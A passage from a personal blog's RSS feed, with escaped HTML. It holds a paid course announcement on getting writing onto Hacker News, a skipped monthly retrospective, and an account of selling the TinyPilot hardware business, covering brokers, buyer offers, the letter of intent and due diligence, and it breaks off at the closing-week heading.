&lt;p>I frequently see smart, talented writers who struggle to find an audience for their writing, so I want to teach you what I&amp;rsquo;ve spent the last eight years learning.&lt;/p>
&lt;h2 id="curriculum">Curriculum&lt;/h2>
&lt;h3 id="lesson-1-understanding-hacker-news">Lesson 1: Understanding Hacker News&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, June 27th, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Hacker News has its own distinctive culture. Before you can succeed there, it&amp;rsquo;s important to understand its rules, etiquette, and conventions.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll explain the culture of Hacker News, why it&amp;rsquo;s a great platform for sharing certain types of writing, and how to avoid missteps that will get you banned.&lt;/p>
&lt;h3 id="lesson-2-choosing-the-right-topics">Lesson 2: Choosing the Right Topics&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, July 4th, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>It doesn&amp;rsquo;t matter how good your article is if you pick a topic that&amp;rsquo;s a poor match for Hacker News.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll share article topics that work well on Hacker News and show you how to avoid wasting time on articles that have a low probability of success.&lt;/p>
&lt;h3 id="lesson-3-finding-a-plan-b">Lesson 3: Finding a Plan B&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, July 11th, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>If your only plan for sharing your writing is submitting it to Hacker News, you&amp;rsquo;re going to get your heart broken a lot.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll show how to find other channels for your articles if they don&amp;rsquo;t receive attention on Hacker News.&lt;/p>
&lt;h3 id="lesson-4-elevate-your-writing">Lesson 4: Elevate Your Writing&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, July 18th, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Want an unfair advantage over everyone else on Hacker News? Invest in your writing.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll talk about simple techniques to make your writing more engaging, how to avoid common writing pitfalls, and how to continually improve your writing.&lt;/p>
&lt;h3 id="lesson-5-submission-day">Lesson 5: Submission Day&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, July 25th, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>There&amp;rsquo;s an art unto itself of submitting to Hacker News and participating in discussions there. You don&amp;rsquo;t want to invest hours into an excellent article only to fumble your opportunity for a wide audience with a careless mistake on submission day.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll walk you through the process of submitting your post to Hacker News, how to make the most out of your time on the front page, and how to keep the comment thread civil and friendly. I&amp;rsquo;ll also show you how you can recover if your Hacker News submission fails to gain traction.&lt;/p>
&lt;h3 id="lesson-6-my-process-from-start-to-finish">Lesson 6: My Process from Start to Finish&lt;/h3>
&lt;ul>
&lt;li>&lt;em>Thursday, August 1st, 2024 at 10 AM ET&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve been developing an effective writing and publishing workflow for my blog over the past eight years.&lt;/p>
&lt;p>In this lesson, I&amp;rsquo;ll show you all the tools I use in my writing process. I&amp;rsquo;ll share my entire creative process, showing real examples of how my blog posts evolved from idea to first draft to front page success.&lt;/p>
&lt;h2 id="whats-not-covered-grammar">What&amp;rsquo;s not covered: Grammar&lt;/h2>
&lt;p>While I do love grammar and try to obey its maddening rules, this is not a course about grammar.&lt;/p>
&lt;p>In lesson four, I&amp;rsquo;ll cover techniques to strengthen your writing and catch careless errors, but this course is more about connecting your writing with an audience rather than the craft of writing itself.&lt;/p>
&lt;h2 id="class-size">Class size&lt;/h2>
&lt;p>I&amp;rsquo;m aiming to have classes of 10-20 students. If there&amp;rsquo;s enough demand, I may add additional sections so that no class gets uncomfortably large.&lt;/p>
&lt;h2 id="venue">Venue&lt;/h2>
&lt;p>The classes will meet online on Jitsi Meet. You don&amp;rsquo;t need to be on camera during the class, but you&amp;rsquo;re welcome to be.&lt;/p>
&lt;h2 id="structure">Structure&lt;/h2>
&lt;p>The classes will be lecture-style lessons in 90-minute slots.&lt;/p>
&lt;p>I&amp;rsquo;ll present slides for 30-60 minutes, and I&amp;rsquo;ll reserve 20-30 minutes for questions.&lt;/p>
&lt;h2 id="who-should-take-this-course">Who should take this course?&lt;/h2>
&lt;p>The type of writing that succeeds on Hacker News is technical topics like software and hardware or about running a business related to those domains.&lt;/p>
&lt;p>This course is likely a good match for you if you fall into any of the following categories:&lt;/p>
&lt;ul>
&lt;li>You&amp;rsquo;re interested in writing articles about software, hardware, or entrepreneurship.&lt;/li>
&lt;li>You&amp;rsquo;ve submitted articles to Hacker News in the past and can&amp;rsquo;t understand why they didn&amp;rsquo;t get attention when similar articles from other authors succeeded.&lt;/li>
&lt;li>You want to write articles to bring attention to your startup, side project, or small business.&lt;/li>
&lt;li>You work in DevRel and want to write content that will appeal to smart developers.&lt;/li>
&lt;/ul>
&lt;h2 id="who-shouldnt-take-this-course">Who shouldn&amp;rsquo;t take this course?&lt;/h2>
&lt;p>If you&amp;rsquo;re a marketer, influencer, VP, or &amp;ldquo;thought leader&amp;rdquo; with lots of brilliant theories to share about what other people are doing without doing anything yourself, your writing probably won&amp;rsquo;t succeed on Hacker News.&lt;/p>
&lt;p>If you&amp;rsquo;ve become a LinkedIn sensation by writing &lt;a href="https://www.buzzfeednews.com/article/ryanmac/why-are-these-posts-taking-over-your-linkedin-feed-because">amazing broetry&lt;/a>, I can&amp;rsquo;t help you translate that skill to Hacker News.&lt;/p>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>There is no homework for this class, so most of the work is attending classes and actively participating.&lt;/p>
&lt;p>Specifically, you need to:&lt;/p>
&lt;ul>
&lt;li>Show up
&lt;ul>
&lt;li>I want to teach people who are interested in all of the topics. I expect you to show up to at least five of the six sessions, preferably all of them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Give feedback
&lt;ul>
&lt;li>I&amp;rsquo;ll send out surveys after each session asking for feedback. I&amp;rsquo;ll use the feedback to guide the course material and teach in a way that best connects with you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="cost">Cost&lt;/h2>
&lt;p>The course is $180 per attendee ($30 per session).&lt;/p>
&lt;p>I accept credit payments via PayPal or cryptocurrency payments through Ethereum or USDC.&lt;/p>
&lt;p>If you need a certificate of completion or some other documentation to request reimbursement from your employer, I&amp;rsquo;m happy to work with you in getting whatever you need.&lt;/p>
&lt;h2 id="downloadable-copy">Downloadable copy&lt;/h2>
&lt;p>After the course ends, I&amp;rsquo;ll record a downloadable video course covering the same material. It will be an updated version of &lt;a href="https://hitthefrontpage.com/">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a>, which I published in 2020.&lt;/p>
&lt;p>When I publish the full downloadable course, you&amp;rsquo;ll get a free copy of the highest-tier package.&lt;/p>
&lt;h2 id="refund-policy">Refund policy&lt;/h2>
&lt;p>If you decide after the first class that this course isn&amp;rsquo;t right for you, I can offer a 100% refund. After that, I won&amp;rsquo;t offer refunds for leaving the course.&lt;/p>
&lt;h2 id="heads-up-babies-make-things-unpredictable">Heads up: Babies make things unpredictable&lt;/h2>
&lt;p>My wife and I are expecting our first child at the end of August.&lt;/p>
&lt;p>The class is scheduled to end well before the baby&amp;rsquo;s due date, but if the baby arrives early, I&amp;rsquo;ll need to cancel the remaining classes. If that happens, I&amp;rsquo;ll refund your tuition at $30 per session that was not fulfilled.&lt;/p>
&lt;h2 id="sign-up">Sign up&lt;/h2>
&lt;p>&lt;em>Signups for this course are now closed. Please reach out if you&amp;rsquo;re interested in a future class.&lt;/em>&lt;/p></content:encoded></item><item><title>Reset Month</title><link>https://mtlynch.io/retrospectives/2024/05/</link><pubDate>Fri, 31 May 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/05/</guid><description>&lt;h2 id="no-update-this-month">No update this month&lt;/h2>
&lt;p>I&amp;rsquo;m skipping my normal retrospective this month, as &lt;a href="https://mtlynch.io/i-sold-tinypilot/">I sold TinyPilot&lt;/a> and am taking some time to figure out my next project.&lt;/p>
&lt;p>Retrospectives will hopefully resume in a month or two!&lt;/p></description><content:encoded>&lt;h2 id="no-update-this-month">No update this month&lt;/h2>
&lt;p>I&amp;rsquo;m skipping my normal retrospective this month, as &lt;a href="https://mtlynch.io/i-sold-tinypilot/">I sold TinyPilot&lt;/a> and am taking some time to figure out my next project.&lt;/p>
&lt;p>Retrospectives will hopefully resume in a month or two!&lt;/p></content:encoded></item><item><title>I Sold TinyPilot, My First Successful Business</title><link>https://mtlynch.io/i-sold-tinypilot/</link><pubDate>Wed, 29 May 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/i-sold-tinypilot/</guid><description>&lt;p>My first two years as a bootstrapped founder went poorly. I could barely find any paying customers, and all of my businesses lost money. I began questioning my decision to &lt;a href="https://mtlynch.io/why-i-quit-google">quit my cushy Google job&lt;/a>.&lt;/p>
&lt;p>In mid-2020, yet another of my businesses &lt;a href="https://mtlynch.io/retrospectives/2020/04/">had flopped&lt;/a>, and it was only kind of COVID&amp;rsquo;s fault. Desperate for a distraction, I made a little contraption that controlled my home servers through my web browser. I called it &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>.&lt;/p></description><content:encoded>&lt;p>My first two years as a bootstrapped founder went poorly. I could barely find any paying customers, and all of my businesses lost money. I began questioning my decision to &lt;a href="https://mtlynch.io/why-i-quit-google">quit my cushy Google job&lt;/a>.&lt;/p>
&lt;p>In mid-2020, yet another of my businesses &lt;a href="https://mtlynch.io/retrospectives/2020/04/">had flopped&lt;/a>, and it was only kind of COVID&amp;rsquo;s fault. Desperate for a distraction, I made a little contraption that controlled my home servers through my web browser. I called it &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype.webp">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype_hu_655a58c4caaad9.webp 300w, https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype_hu_9844301790befe44.webp 600w, https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype_hu_af756341ba3840d8.webp 800w, https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype_hu_6cb210a62b53ab0b.webp 1200w, https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype.webp 1600w'
 src="https://mtlynch.io/i-sold-tinypilot/tinypilot-prototype.webp" alt="Photo of a laptop open with &amp;#39;Hello, World&amp;#39; printed on the screen. On another laptop, the same desktop is displayed within a TinyPilot web interface." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The prototype of TinyPilot, which allowed me to control computers in my home remotely without installing any software&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I &lt;a href="https://mtlynch.io/tinypilot/">blogged about creating TinyPilot&lt;/a>, and I could tell right away that I was onto something. My post reached the &lt;a href="https://news.ycombinator.com/item?id=23927380">#1 spot on Hacker News&lt;/a> and &lt;a href="https://www.reddit.com/r/programming/comments/hwt1it/tinypilot_build_a_kvm_over_ip_for_under_100/">several&lt;/a> &lt;a href="https://www.reddit.com/r/HomeServer/comments/jeoc74/tinypilot_build_a_kvm_over_ip_for_under_100/">popular&lt;/a> &lt;a href="https://www.reddit.com/r/homelab/comments/hwimys/tinypilot_build_a_kvm_over_ip_for_under_100/">subreddits&lt;/a>.&lt;/p>
&lt;p>I started offering pre-packaged kits so my readers could build their own TinyPilots, and they immediately sold out. With every other project, I had to beg and plead with people even to try my product. With TinyPilot, there was so much demand that I struggled for months to keep the product stocked.&lt;/p>
&lt;p>For the next four years, I focused full-time on building TinyPilot into a business and improving the product. I grew the company to a team of seven people and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/#tinypilot-became-20x-more-profitable">$1M in annual revenue&lt;/a>.&lt;/p>
&lt;p>A month ago, I sold the company for $600k.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/2a-front.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/2a-front_hu_732d7aa528cdc91d.webp 300w, https://mtlynch.io/i-sold-tinypilot/2a-front_hu_d57855d309ef8752.webp 600w, https://mtlynch.io/i-sold-tinypilot/2a-front_hu_31a145cb1185971c.webp 800w, https://mtlynch.io/i-sold-tinypilot/2a-front.webp 800w'
 src="https://mtlynch.io/i-sold-tinypilot/2a-front.webp" alt="Front view of TinyPilot Voyager 2a device" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2_hu_7a41323cee1aca3a.webp 300w, https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2_hu_34f7e85bde1a8f99.webp 600w, https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2_hu_e467209ced428e77.webp 800w, https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2_hu_90ee1b8a8223242f.webp 1200w, https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2.webp 1515w'
 src="https://mtlynch.io/i-sold-tinypilot/tinypilot-bios-menu-2.webp" alt="Screenshot of TinyPilot web interface" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Over the next four years, TinyPilot evolved into a more refined product.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="details-of-the-sale">Details of the sale&lt;/h2>
&lt;ul>
&lt;li>Sale price: $598,000 (2.4x annual earnings)&lt;/li>
&lt;li>Broker commission: $88,900&lt;/li>
&lt;li>Legal fees: $18,297&lt;/li>
&lt;li>My profit from the sale: $490,803&lt;/li>
&lt;li>Payment terms: Full cash payment at closing (no earnout, no seller financing)&lt;/li>
&lt;li>Seller obligations:
&lt;ul>
&lt;li>30 days of free consulting (max of 40 hours/week, 80 hours total)&lt;/li>
&lt;li>45 days of paid consulting (max of 10 hours/week at $180/hr)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Lifetime profit from business (including final sale): $920k over four years&lt;/li>
&lt;/ul>
&lt;h2 id="what-am-i-allowed-to-say">What am I allowed to say?&lt;/h2>
&lt;p>I specifically negotiated in the sale agreement that I could discuss the terms of the sale and the process of selling the business.&lt;/p>
&lt;p>I can&amp;rsquo;t say anything disparaging about TinyPilot or reveal anything about TinyPilot that would give its competitors a meaningful advantage.&lt;/p>
&lt;h2 id="part-1-preparing-to-sell">Part 1: Preparing to sell&lt;/h2>
&lt;h3 id="why-sell">Why sell?&lt;/h3>
&lt;p>After years of flops, I was finally earning a consistent profit, selling a product I was proud of, and working with a great team. Wasn&amp;rsquo;t that exactly what I wanted?&lt;/p>
&lt;p>I missed writing code. TinyPilot is a hardware business, so there were tons of moving parts beyond the software. I was the sole manager of six people on three distinct teams and managed relationships with our key vendors. I rarely had uninterrupted time for deep focus, and when I did, I felt too exhausted from juggling everything else.&lt;/p>
&lt;p>My wife and I also wanted to start a family. TinyPilot only occupied about 40% of my waking hours, but it occupied 90% of my stress. I would have done a terrible job juggling founder stress with new parent stress.&lt;/p>
&lt;h3 id="who-would-want-to-buy-such-a-strange-business">Who would want to buy such a strange business?&lt;/h3>
&lt;p>TinyPilot fell into an odd, in-between business category. It was a hardware manufacturer, a software company, and an eCommerce store. How would I find a buyer comfortable with all three?&lt;/p>
&lt;p>There were larger competitors selling equivalent devices to TinyPilot for twice the price. I considered approaching enterprise competitors and saying, &amp;ldquo;Give me a million dollars, and I&amp;rsquo;ll never build another TinyPilot.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/aten.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/aten_hu_bc062b6c18a23eb3.webp 300w, https://mtlynch.io/i-sold-tinypilot/aten_hu_e6fc11eb688b6d30.webp 600w, https://mtlynch.io/i-sold-tinypilot/aten_hu_ae2fa45aaeeebaa1.webp 800w, https://mtlynch.io/i-sold-tinypilot/aten.webp 1056w'
 src="https://mtlynch.io/i-sold-tinypilot/aten.webp" alt="Screenshot of ATEN KVM over IP device selling for $929.95" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s enterprise competitors sell similar devices for twice the price.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But I didn&amp;rsquo;t want to sell out. I&amp;rsquo;d asked customers to take a chance on me as a new, unproven hardware manufacturer. Running off with the cash would have felt like a massive betrayal to my customers and the TinyPilot team.&lt;/p>
&lt;p>I wanted a buyer who would keep investing in the company, not a competitor who would just axe the product or bleed it dry.&lt;/p>
&lt;h3 id="fe-international-the-wrong-broker-for-tinypilot">FE International: The wrong broker for TinyPilot&lt;/h3>
&lt;p>In October 2022, I reached out to &lt;a href="https://feinternational.com/">FE International&lt;/a>, the only brokerage I&amp;rsquo;d ever heard of that catered to bootstrapped founders. I wasn&amp;rsquo;t ready to sell, but I wanted to understand the path to an exit.&lt;/p>
&lt;p>FE initially seemed interested. Then, after a few email exchanges and seeing my financials, they gave me a soft brushoff:&lt;/p>
&lt;blockquote>
&lt;p>Unfortunately, with the current set up of two main SKUs generating roughly 98% of your revenue, this would not be a good fit for most buyers. Buyers typically want to see that a business has a minimum of 10 SKUs, and that none of these SKUs generate more than 30% of revenue.&lt;/p>
&lt;p>At this time we would advise, in preparation for a sale to start to consider increasing your product offering. These don’t always have to be completely new products, and this could also be USB-C cables, wall plugs, ethernet cables, servers, display ports, HDMI cables etc, this would also help to increase your AOV.&lt;/p>&lt;/blockquote>
&lt;p>After FE&amp;rsquo;s rejection, I felt trapped and panicked.&lt;/p>
&lt;p>I had invested hundreds of thousands of dollars into software and hardware engineering to make just one product, and I was barely scraping by. According to FE, I had no chance of selling unless I did &lt;em>ten times&lt;/em> as much as I was currently doing?&lt;/p>
&lt;h3 id="if-you-cant-get-out-get-comfortable">If you can&amp;rsquo;t get out, get comfortable&lt;/h3>
&lt;p>I didn&amp;rsquo;t want to shut down the company and lay everyone off, but I also didn&amp;rsquo;t want to carry the stress of running TinyPilot for the rest of my life. So, I looked for ways to make the business less stressful.&lt;/p>
&lt;p>One of the most difficult parts of TinyPilot was hardware revisions. We were always redesigning TinyPilot&amp;rsquo;s hardware to make improvements, but that meant constantly finding new suppliers and rethinking our manufacturing pipeline. In 2023, I decided to keep the design we had and stop fiddling with the hardware.&lt;/p>
&lt;p>The other source of complexity was TinyPilot&amp;rsquo;s office. We were still doing everything in-house: managing inventory, assembling devices, and fulfilling orders. I worked with TinyPilot&amp;rsquo;s in-person team to migrate the office&amp;rsquo;s core functions to external vendors. It was a major challenge to outsource so many delicate processes, but it eliminated an enormous amount of management overhead and stress.&lt;/p>
&lt;p>The happy side-effect of making TinyPilot easier to manage was that it also made the company more attractive to potential buyers. When I stopped pouring $100k/year into hardware improvements, the company became &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/#tinypilot-became-20x-more-profitable">substantially more profitable&lt;/a>. And without an office and custom in-house manufacturing, a prospective owner could run TinyPilot from anywhere in the world.&lt;/p>
&lt;h2 id="part-2-starting-the-sales-process">Part 2: Starting the sales process&lt;/h2>
&lt;h3 id="the-strategic-acquirer">The strategic acquirer&lt;/h3>
&lt;p>With the company in stronger shape, I decided to restart my search for a buyer. Going through a broker didn&amp;rsquo;t work, so I began contacting buyers on my own.&lt;/p>
&lt;p>In his book &lt;a href="https://books.builttosell.com/sp/the-art-of-selling-your-business-free-book-landing-page/">&lt;em>The Art of Selling Your Business&lt;/em>&lt;/a>, John Warrilow encourages founders to seek acquisitions from &amp;ldquo;strategic buyers,&amp;rdquo; companies that could use your business as part of their growth strategy.&lt;/p>
&lt;p>For example, if you&amp;rsquo;re a salsa company that consistently makes $100k/year, a typical buyer might acquire you for $300k. But a buyer who already manufactures tortilla chips would see obvious synergy between the two businesses, so your salsa company would be worth $400k-600k to them.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/synergy.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/synergy_hu_75120e6f51efc68a.webp 300w, https://mtlynch.io/i-sold-tinypilot/synergy_hu_49b8c3c700d0d9d.webp 600w, https://mtlynch.io/i-sold-tinypilot/synergy_hu_baf36ba630dd7d23.webp 800w, https://mtlynch.io/i-sold-tinypilot/synergy_hu_a5572f9b327472b3.webp 1200w, https://mtlynch.io/i-sold-tinypilot/synergy.webp 1358w'
 src="https://mtlynch.io/i-sold-tinypilot/synergy.webp" alt="Screencap of Jack Donaghy from 30 Rock saying &amp;#39;First of all, never badmouth synergy.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I emailed the CEOs of five companies that complemented TinyPilot in some way. Most ignored me or gave polite brushoffs, but one company showed immediate interest. I&amp;rsquo;ll call them ServerCo.&lt;/p>
&lt;p>ServerCo was an attractive buyer. They were bootstrapped as well, they seemed culturally aligned with TinyPilot, and we sold complementary products to similar customers. Having never participated in an acquisition before, they were cautious but enthusiastic about buying TinyPilot.&lt;/p>
&lt;p>ServerCo would email me a list of detailed questions about TinyPilot&amp;rsquo;s finances and risks, I&amp;rsquo;d answer in a day or two, and then there&amp;rsquo;d be weeks of silence. Finally, they&amp;rsquo;d respond with a new round of questions, and we&amp;rsquo;d start the cycle again.&lt;/p>
&lt;p>After four months of intermittent discussions, ServerCo finally presented me with an offer:&lt;/p>
&lt;ul>
&lt;li>$150k cash&lt;/li>
&lt;li>$100k employment contract for 12 months of full-time work&lt;/li>
&lt;li>25% of TinyPilot&amp;rsquo;s profit the first year after closing&lt;/li>
&lt;li>10% of TinyPilot&amp;rsquo;s profit the second year after closing&lt;/li>
&lt;/ul>
&lt;p>They didn&amp;rsquo;t intend it to be an insultingly bad offer, but it was a pretty bad offer.&lt;/p>
&lt;p>eCommerce companies typically sell for 2.5-3.5x earnings. The cash portion of ServerCo&amp;rsquo;s offer was 0.9x TinyPilot&amp;rsquo;s earnings.&lt;/p>
&lt;p>As for the salary, $100k/year is roughly what a software developer makes fresh out of college in the US. And that&amp;rsquo;s without a 12-month commitment.&lt;/p>
&lt;p>I politely told ServerCo we were too far apart on price to continue negotiating, but we both agreed to keep the door open in case things changed.&lt;/p>
&lt;h3 id="attending-microconf-and-meeting-quiet-light-brokerage">Attending Microconf and meeting Quiet Light Brokerage&lt;/h3>
&lt;p>In 2023, I attended &lt;a href="https://microconf.com/">Microconf&lt;/a>, a small conference for bootstrapped founders. I hoped to either find a potential buyer or at least get advice from other founders about what to do with TinyPilot.&lt;/p>
&lt;p>One of the sponsors of the conference was a brokerage I&amp;rsquo;d never heard of, &lt;a href="https://quietlight.com/">Quiet Light&lt;/a>. They piqued my interest because not only did they cater to bootstrapped founders, they worked with a lot of eCommerce companies.&lt;/p>
&lt;p>At the event, I spoke with Chris Guthrie, an advisor at Quiet Light. He seemed optimistic about selling TinyPilot, so after the conference, he began working with me on a sales package. It was a set of documents and financial reports to show prospective TinyPilot buyers. It included a profit and loss statement for the past two years, a detailed questionnaire about the company, and a brief video interview with me.&lt;/p>
&lt;p>Chris recommened presenting TinyPilot mainly as an eCommerce business with an asking price of around 3x the last twelve months of earnings. At the time, earnings were $208k, so we agreed to list at $599k, roughly 2.9x earnings.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 341px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/quiet-light-launch.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 341px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/quiet-light-launch_hu_1b9780bf38d427f1.png 300w, https://mtlynch.io/i-sold-tinypilot/quiet-light-launch.png 339w'
 src="https://mtlynch.io/i-sold-tinypilot/quiet-light-launch.png" alt="Listing card for TinyPilot showing $599,000 asking price on $1,022,090 in revenue and $207,816 in income" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s listing card on Quiet Light&amp;rsquo;s website&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>For the first two months, things looked bleak. Chris received a handful of inquiries, but they were from buyers who either wanted me to stay on as a co-founder or wanted me to finance the majority of the purchase.&lt;/p>
&lt;h3 id="serious-buyers-finally-appear">Serious buyers finally appear&lt;/h3>
&lt;p>Finally, in January, two attractive buyers appeared around the same time.&lt;/p>
&lt;p>The first buyer was Scott, who worked a corporate job in media production but had grown disilussioned with big company culture, much like I had. After discovering TinyPilot through Quiet Light, Scott read my &lt;a href="https://mtlynch.io/retrospectives/">public retrospectives about building the company&lt;/a> and saw potential to bring TinyPilot to a broader customer base.&lt;/p>
&lt;p>The other offer was from a pair of founders. They were initially TinyPilot customers and had reached out to me about building a managed services company on top of the product. When I told them I was selling the company, they were interested in buying.&lt;/p>
&lt;h3 id="soliciting-lois">Soliciting LOIs&lt;/h3>
&lt;p>The sales process officially starts with the letter of intent (LOI). The LOI lays out the high-level details of the sale, the most important being the purchase price.&lt;/p>
&lt;p>Crucially, the LOI isn&amp;rsquo;t binding. The document that really matters is the asset purchase agreement (APA), which you sign when the deal closes. But the LOI officially kicks off due diligence and the drafting of the APA.&lt;/p>
&lt;p>When we started LOI discussions, I was in an excellent negotiation position. I had two serious buyers competing against each other. Since listing on Quiet Light, TinyPilot&amp;rsquo;s annual earnings had increased by $10k, and we received pre-qualification for an SBA loan, which meant buyers who didn&amp;rsquo;t have $599k in cash could now get a government-backed loan to buy the business.&lt;/p>
&lt;p>Chris told the two prospective buyers that we were planning to re-launch on Quiet Light at $625k but that I&amp;rsquo;d honor the original price if they made an offer within the next two weeks.&lt;/p>
&lt;h3 id="price-negotiations">Price negotiations&lt;/h3>
&lt;p>Scott made the first formal offer, but it was for $500k, a steep $99k drop from my asking price. At that point, I had several attractive alternatives, so I declined.&lt;/p>
&lt;p>We awaited an offer from the founder duo, who had sounded eager to move forward. Two days later, they backed out without making an offer at all.&lt;/p>
&lt;p>Uh oh. Did I blow the deal? What if $500k was the best I was going to get, and I just rejected it? I still had the option of re-launching on Quiet Light, but seeing both buyers reject the asking price shook my confidence.&lt;/p>
&lt;p>Fortunately, the next day, Scott sent a new LOI for my $599k asking price, and I accepted.&lt;/p>
&lt;p>It was great to bump the price by $99k, but that was the last point in the process that felt like I was negotiating from a position of strength.&lt;/p>
&lt;h2 id="part-3-closing">Part 3: Closing&lt;/h2>
&lt;h3 id="due-diligence-makes-me-weaker-by-the-day">Due diligence makes me weaker by the day&lt;/h3>
&lt;p>One of the biggest surprises in this process was how much closing time matters.&lt;/p>
&lt;p>Chris from Quiet Light had recommended selling, if at all possible, to a buyer with cash on hand rather than someone who needs a loan. When the buyer finances the purchase with a bank loan, due diligence takes longer, and there are more decision-makers who can kill the deal.&lt;/p>
&lt;p>At the time, I thought, &amp;ldquo;Faster would be better, but I&amp;rsquo;m a patient person. What&amp;rsquo;s an extra two months?&amp;rdquo;&lt;/p>
&lt;p>I quickly learned that a slower closing isn&amp;rsquo;t about a few months of patience — it&amp;rsquo;s about how much additional risk and work the seller absorbs with each passing week of due diligence.&lt;/p>
&lt;p>When you sell a house, the buyer has to put down a deposit of 1-5% to hold their claim on the house. If the buyer changes their mind, the seller keeps the money as compensation for the time they lost.&lt;/p>
&lt;p>When you sell a business at TinyPilot&amp;rsquo;s scale, there&amp;rsquo;s no deposit. You can invest hundreds of hours into preparing reports for due diligence, reveal all your confidential business secrets, and spend thousands of dollars negotiating legal documents and still walk away with nothing if the buyer backs out.&lt;/p>
&lt;p>As due diligence stretched on, my negotiating position became markedly weaker. Before signing the LOI, I could easily move on to the next buyer. By month two of due diligence, walking away from the deal meant restarting this costly and time-consuming process from zero. I&amp;rsquo;d also risk TinyPilot&amp;rsquo;s sales slipping after so many months being distracted from the business.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/i-sold-tinypilot/due-diligence.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/i-sold-tinypilot/due-diligence_hu_26b02b23d6d62f58.webp 300w, https://mtlynch.io/i-sold-tinypilot/due-diligence_hu_2d7c99445de7145c.webp 600w, https://mtlynch.io/i-sold-tinypilot/due-diligence_hu_2af484102c4ea8f4.webp 800w, https://mtlynch.io/i-sold-tinypilot/due-diligence_hu_c84d9dd6ce8c95fe.webp 1200w, https://mtlynch.io/i-sold-tinypilot/due-diligence.webp 1600w'
 src="https://mtlynch.io/i-sold-tinypilot/due-diligence.webp" alt="Cartoon of a man growing increasingly weak as he receives due diligence requests over several weeks" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="closing-week">Closing week&lt;/h3>
